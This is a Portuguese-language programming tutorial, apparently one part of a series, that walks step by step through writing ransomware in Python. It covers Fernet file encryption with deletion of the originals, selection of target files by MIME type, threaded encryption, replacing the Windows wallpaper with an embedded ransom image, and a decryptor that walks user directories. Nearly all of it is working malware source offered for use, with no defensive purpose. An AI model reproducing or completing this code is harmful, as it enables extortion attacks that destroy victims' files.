Agora vamos fazer a função mais importante do nosso script, que é a criptografia de arquivos. Vamos salvar alguns arquivos em PDF como exemplo pra testarmos nosso ransom.
Primeiramente, instale a biblioteca cryptography. Vamos trabalhar com criptografia AES, que é uma criptografia simétrica (de chave privada, que usa uma única chave). Vamos utilizar a classe Fernet, que permite trabalhar com isso. Escreva esse código:
from cryptography.fernet import Fernet
key = Fernet.generate_key() # Gerando chave privada com salt, no caso AES-256
file = "python.pdf" # Arquivo
print(key)
A chave deverá ser algo tipo bYkj6evO0PD9Ba8zG3kvurba5eyisV48kg-ttdU5uqg=, que é sempre aleatório. Podemos decodificar essa chave nesse site aqui: https://www.base64decode.org/
Pra encriptar o arquivo, fazemos assim:
from cryptography.fernet import Fernet
key = Fernet.generate_key() # Gerando chave privada com salt, no caso AES-256
file = "python.pdf" # Arquivo
fern = Fernet(key)
with open(file, "rb") as arqPl: # rb é pra ler arquivos como bytes
data = arqPl.read() # Lendo o arquivo
encData = fern.encrypt(data) # Encriptando o arquivo
print(encData)
PS: Dependendo do tamanho do arquivo, pode demorar pra criptografar.
No lugar do último print, podemos colocar assim:
with open(f"{file}.encp", "wb") as arqCr: # wb é pra escrever arquivos como bytes
data = arqCr.write(encData) # Escrever o arquivo
Veja o programa completo, onde ele, depois de criptografar, exclui o arquivo original:
from cryptography.fernet import Fernet
import os
key = Fernet.generate_key() # Gerando chave privada com salt, no caso AES-256
print(key)
file = "python.pdf" # Arquivo
fern = Fernet(key)
with open(file, "rb") as arqPl: # rb é pra ler arquivos como bytes
data = arqPl.read() # Lendo o arquivo
encData = fern.encrypt(data) # Encriptando o arquivo
with open(f"{file}.encp", "wb") as arqCr: # wb é pra escrever arquivos como bytes
data = arqCr.write(encData) # Escrever o arquivo
os.remove(file)
PS: Salve a chave pra podermos descriptografar, é algo como bYkj6evO0PD9Ba8zG3kvurba5eyisV48kg-ttdU5uqg=.
Reescrevendo o programa com funções:
from cryptography.fernet import Fernet
import os
def encrypt(file, key):
fern = Fernet(key)
with open(file, "rb") as arqPl:
data = arqPl.read()
encData = fern.encrypt(data)
with open(f"{file}.encp", "wb") as arqCr:
arqCr.write(encData)
os.remove(file)
key = Fernet.generate_key()
print(key)
file = "python.pdf"
encrypt(file, key)
Da mesma forma, crie essa função pra descriptografar o arquivo:
def decrypt(file, key):
fern = Fernet(key)
with open(file, "rb") as arqCr:
encData = arqCr.read()
data = fern.decrypt(encData)
with open(file.replace(".encp", ""), "wb") as arqPl:
arqPl.write(data)
os.remove(file)
E pra descriptografar, altere abaixo das funções assim:
key = b"bYkj6evO0PD9Ba8zG3kvurba5eyisV48kg-ttdU5uqg=" # A chave criada anteriormente
print(key)
file = "python.pdf.encp" # Arquivo criptografado
decrypt(file, key)
PS: Num ransomware real, os arquivos de criptografia e descriptografia são diferentes, por motivos óbvios.
Daí, no arquivo de ransom, basta colocar essa função:
from cryptography.fernet import Fernet
def encrypt(file, key):
fern = Fernet(key)
with open(file, "rb") as arqPl:
data = arqPl.read()
encData = fern.encrypt(data)
with open(f"{file}.encp", "wb") as arqCr:
arqCr.write(encData)
os.remove(file)
E no final do código, fazemos assim:
key = Fernet.generate_key()
for fl in files:
encrypt(fl, key)
Defina na área de variáveis essas tuplas:
global whitelist
# whitelist = ("image/jpeg", "image/png", "image/gif", "audio/mpeg", "video/mp4", "application/pdf", "text/plain")
whitelist = ("video/mp4", "application/pdf")
E no if de checkFile, apenas deixe assim:
if fType in whitelist:
files.append(file)
E aí, podemos também chamar a função com threads, assim:
for fl in files:
th = threading.Thread(target = encrypt, args = (fl, key,))
th.start()
Podemos também colocar um semáforo, declarando a variável como global:
global semaforo
semaforo = threading.Semaphore(5)
E identando tudo na função encrypt:
def encrypt(file, key):
with semaforo:
fern = Fernet(key)
with open(file, "rb") as arqPl:
data = arqPl.read()
encData = fern.encrypt(data)
with open(f"{file}.encp", "wb") as arqCr:
arqCr.write(encData)
os.remove(file)
Num ransomware, uma imagem não ficaria num diretório, e sim seria codificada no script Python. Pra carregar a imagem, devemos transformar ela em base64.
Num arquivo de teste, faça assim:
import base64
with open("background.jpg", "rb") as arqImg:
data = arqImg.read()
print(base64.b64encode(data))
Daí, é só salvar os bytes assim:
import base64
import ctypes
def mudarBackground():
img = b"" # Coloque o código referente à imagem aqui
with open("bg.jpg", "wb") as arqImg:
data = base64.b64decode(img)
arqImg.write(data)
mudarBackground()
PS: Você pode ativar a quebra de linha no editor pra visualizar melhor o código, nesse caso, procure uma opção algo como "Soft Wrap", no PyCharm você encontra essa opção clicando num dos números das linhas.
E pra mudar o background:
import base64
import ctypes
import os
def mudarBackground():
path = "bg.jpg"
img = b"" # Coloque o código referente à imagem aqui
with open(path, "wb") as arqImg:
data = base64.b64decode(img)
arqImg.write(data)
path = os.path.abspath(path)
# Isso altera o background
ctypes.windll.user32.SystemParametersInfoW(20, 0, path, 3) # 20 significa mudar o background e 3 é imediado
mudarBackground()
PS: Podemos pegar um exemplo de código de imagem clicando aqui.
No código do ransom, coloque esse código:
import base64
import ctypes
def mudarBackground():
path = "bg.jpg"
img = b"" # Coloque o código referente à imagem aqui
with open(path, "wb") as arqImg:
data = base64.b64decode(img)
arqImg.write(data)
path = os.path.abspath(path)
ctypes.windll.user32.SystemParametersInfoW(20, 0, path, 3)
No final do código, deixe assim:
key = Fernet.generate_key()
print(key)
for fl in files:
th = threading.Thread(target = encrypt, args = (fl, key,))
th.start()
mudarBackground()
PS: Como a mudança do background acontece depois da criptografia de arquivos, a imagem criada não é criptografada, mesmo se mandarmos criptografar as mesmas.
Pra fazer o decriptador, nós salvamos o arquivo de ransom como um novo arquivo, e deixamos ele assim:
import os
import threading
from cryptography.fernet import Fernet
def decrypt(file, key):
with semaforo:
fern = Fernet(key)
with open(file, "rb") as arqCr:
encData = arqCr.read()
data = fern.decrypt(encData)
with open(file.replace(".encp", ""), "wb") as arqPl:
arqPl.write(data)
os.remove(file)
def listarDir(path):
try:
for fl in os.listdir(path):
if os.path.isdir(f"{path}{fl}"):
dirs.append(f"{path}{fl}/")
elif fl.split(".")[-1] == "encp":
files.append(f"{path}{fl}")
except PermissionError:
pass
global files
files = list()
global dirs
dirs = list()
global semaforo
semaforo = threading.Semaphore(5)
listarDir("/Users/")
if len(dirs) >= 0:
thrd = list()
for d in dirs:
th = threading.Thread(target = listarDir, args = (d,))
thrd.append(th)
th.start()
for t in thrd:
t.join()
print("Finalizou!")
key = b"bYkj6evO0PD9Ba8zG3kvurba5eyisV48kg-ttdU5uqg=" # A chave criada
print(key)
for fl in files:
th = threading.Thread(target = decrypt, args = (fl, key,))
th.start()